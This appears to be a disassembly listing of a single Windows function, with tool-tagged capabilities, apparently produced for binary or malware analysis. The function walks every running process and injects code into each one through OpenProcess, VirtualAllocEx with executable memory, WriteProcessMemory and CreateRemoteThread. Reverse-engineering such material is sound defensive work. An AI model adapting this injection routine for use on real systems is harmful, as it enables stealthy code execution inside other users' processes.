Function at 0x402f20
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
mov eax, 0x1b84
call fcn.00405280
push ebx
push ebp
push esi
push edi
mov ecx, 7
mov esi, 0x40f688
lea edi, [esp + 0x28]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x82
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
mov ecx, 0x82
lea edi, [esp + 0x250]
rep stosd dword es:[edi], eax
mov ecx, 0x1cf
lea edi, [esp + 0x458]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x480], eax
mov eax, dword [esp + 0x1b98]
push 0x104
lea ecx, [esp + 0x4e0]
push eax
push ecx
call fcn.00405174
mov edx, dword [str.AgentAdminExit]
mov eax, dword [str.Global]
add esp, 0xc
lea ecx, [esp + 0x250]
push edx
push eax
push 0x40efe8
push 0x103
push ecx
call fcn.004051ce
lea edx, [esp + 0x264]
push 0x104
lea eax, [esp + 0x6fc]
push edx
push eax
call fcn.00405174
mov ecx, dword [0x40c2ec]
push 0x10
lea edx, [esp + 0xb18]
push ecx
push edx
call fcn.00405174
mov eax, dword [0x40c2f0]
push 0x10
lea ecx, [esp + 0xb44]
push eax
push ecx
call fcn.00405174
mov edx, dword [0x40c2f4]
push 0x10
lea eax, [esp + 0xb70]
push edx
push eax
call fcn.00405174
mov ecx, dword [0x40c2f8]
add esp, 0x44
lea edx, [esp + 0xb54]
push 0x10
push ecx
push edx
call fcn.00405174
mov eax, dword [0x40c2fc]
push 0x10
lea ecx, [esp + 0xb84]
push eax
push ecx
call fcn.00405174
mov edx, dword [str.KERNEL32.DLL]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0x18
push edx
call ebx
mov esi, eax
test esi, esi
jne 0x4030d5
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
lea eax, [esp + 0x254]
push 0x103
push eax
call fcn.00403ba0
add esp, 0xc
push eax
call esi
mov ecx, dword [str.KERNEL32.DLL]
push eax
push ecx
push 0x40f654
lea edx, [esp + 0x58]
push 0x103
push edx
call fcn.004051ce
mov edx, dword [0x4138a0]
add esp, 0x18
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [0x40c2d0]
push 0x4a6
push ecx
push edx
push eax
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b84
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateFileW
push esi
call edi
push str.OpenProcess
push esi
mov dword [esp + 0x460], eax
call edi
push str.WaitForSingleObject
push esi
mov dword [esp + 0x464], eax
call edi
push str.WinExec
push esi
mov dword [esp + 0x468], eax
call edi
push str.CreateEventW
push esi
mov dword [esp + 0x46c], eax
call edi
push str.CloseHandle
push esi
mov dword [esp + 0x470], eax
call edi
push str.CreateProcessW
push esi
mov dword [esp + 0x474], eax
call edi
push str.GetLastError
push esi
mov dword [esp + 0x478], eax
call edi
push str.FormatMessageW
push esi
mov dword [esp + 0x47c], eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
mov dword [esp + 0x47c], eax
call ebp
mov ecx, dword [str.USER32.DLL]
push ecx
call ebx
mov esi, eax
test esi, esi
jne 0x4031f7
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call esi
push eax
mov eax, dword [str.KERNEL32.DLL]
push eax
push 0x40f654
lea ecx, [esp + 0x58]
push 0x103
push ecx
call fcn.004051ce
mov ecx, dword [0x4138a0]
add esp, 0x18
lea edx, [esp + 0x48]
lea eax, [esp + 0x28]
push edx
mov edx, dword [0x40c2d0]
push 0x4c5
push eax
push ecx
push edx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b84
ret
push str.MessageBoxW
push esi
call edi
push esi
mov dword [esp + 0x480], eax
call ebp
lea eax, [esp + 0x24]
lea ecx, [esp + 0xb94]
push eax
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x40329a
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call esi
push eax
push 0x40f594
lea eax, [esp + 0x54]
push 0x103
push eax
call fcn.004051ce
mov eax, dword [0x4138a0]
add esp, 0x14
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [0x40c2d0]
push 0x4d4
push edx
push eax
push ecx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b84
ret
mov esi, dword [esp + 0x24]
lea edx, [esp + 0xb94]
shr esi, 2
push esi
push edx
mov dword [esp + 0x24], esi
call fcn.00403c10
add esp, 8
mov dword [esp + 0x10], 0
test esi, esi
jbe 0x403661
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea eax, [esp + 0xb94]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov esi, dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x4035e5
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4035e5
push 0x40
push 0x1000
push 0x4000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x40338c
call edi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call edi
push eax
push 0x40f560
lea eax, [esp + 0x54]
push 0x103
push eax
call fcn.004051ce
mov eax, dword [0x4138a0]
add esp, 0x14
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [0x40c2d0]
push 0x4ea
push edx
push eax
push ecx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
jmp 0x4035de
push 0
push 0x4000
push 0x403a30
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x403414
call edi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call edi
push eax
push 0x40f528
lea eax, [esp + 0x54]
push 0x103
push eax
call fcn.004051ce
mov eax, dword [0x4138a0]
add esp, 0x14
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [0x40c2d0]
push 0x4f4
push edx
push eax
push ecx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
push 0x8000
push 0
push ebx
jmp 0x4035db
push 4
push 0x1000
push 0x73c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x4034a1
call edi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call edi
push eax
push 0x40f560
lea eax, [esp + 0x54]
push 0x103
push eax
call fcn.004051ce
mov eax, dword [0x4138a0]
add esp, 0x14
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [0x40c2d0]
push 0x500
push edx
push eax
push ecx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
push 0x8000
push 0
push ebx
jmp 0x4035db
push 0
lea edx, [esp + 0x45c]
push 0x73c
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x403540
call edi
push eax
lea eax, [esp + 0x254]
push 0x103
push eax
call fcn.00403ba0
add esp, 0xc
push eax
call edi
push eax
push 0x40f4f0
lea ecx, [esp + 0x54]
push 0x103
push ecx
call fcn.004051ce
mov ecx, dword [0x4138a0]
add esp, 0x14
lea edx, [esp + 0x48]
lea eax, [esp + 0x28]
push edx
mov edx, dword [0x40c2d0]
push 0x50a
push eax
push ecx
push edx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
push 0x8000
push 0
push ebx
push esi
call ebp
mov eax, dword [esp + 0x14]
push 0x8000
push 0
push eax
jmp 0x4035db
mov ecx, dword [esp + 0x14]
push 0
push 0
push ecx
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [esp + 0x20], eax
jne 0x403607
call edi
push eax
lea edx, [esp + 0x254]
push 0x103
push edx
call fcn.00403ba0
add esp, 0xc
push eax
call edi
push eax
push 0x40f4bc
lea eax, [esp + 0x54]
push 0x103
push eax
call fcn.004051ce
mov eax, dword [0x4138a0]
add esp, 0x14
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [0x40c2d0]
push 0x516
push edx
push eax
push ecx
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
push 0x8000
push 0
push ebx
push esi
call ebp
mov edx, dword [esp + 0x14]
push 0x8000
push 0
push edx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
inc eax
add edx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], edx
jb 0x4032dd
jmp 0x403661
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x48]
mov ecx, dword [esp + eax*4 + 0xb94]
push ecx
push str._vz_
push 0x103
push edx
call fcn.004051ce
mov edx, dword [0x4138a0]
add esp, 0x10
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [0x40c2dc]
push 0x51d
push ecx
push edx
push eax
push 0x40ef78
push 6
push 0x412858
call fcn.00404600
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
cmp eax, ecx
jne 0x4036c1
push str.b_rN0R
lea edx, [esp + 0x4c]
push 0x103
push edx
call fcn.004051ce
mov edx, dword [0x4138a0]
add esp, 0xc
lea eax, [esp + 0x48]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [0x40c2d0]
push 0x526
push ecx
push edx
push eax
push 0x40ef78
push 3
push 0x412858
call fcn.00404600
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b84
ret
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1b84
ret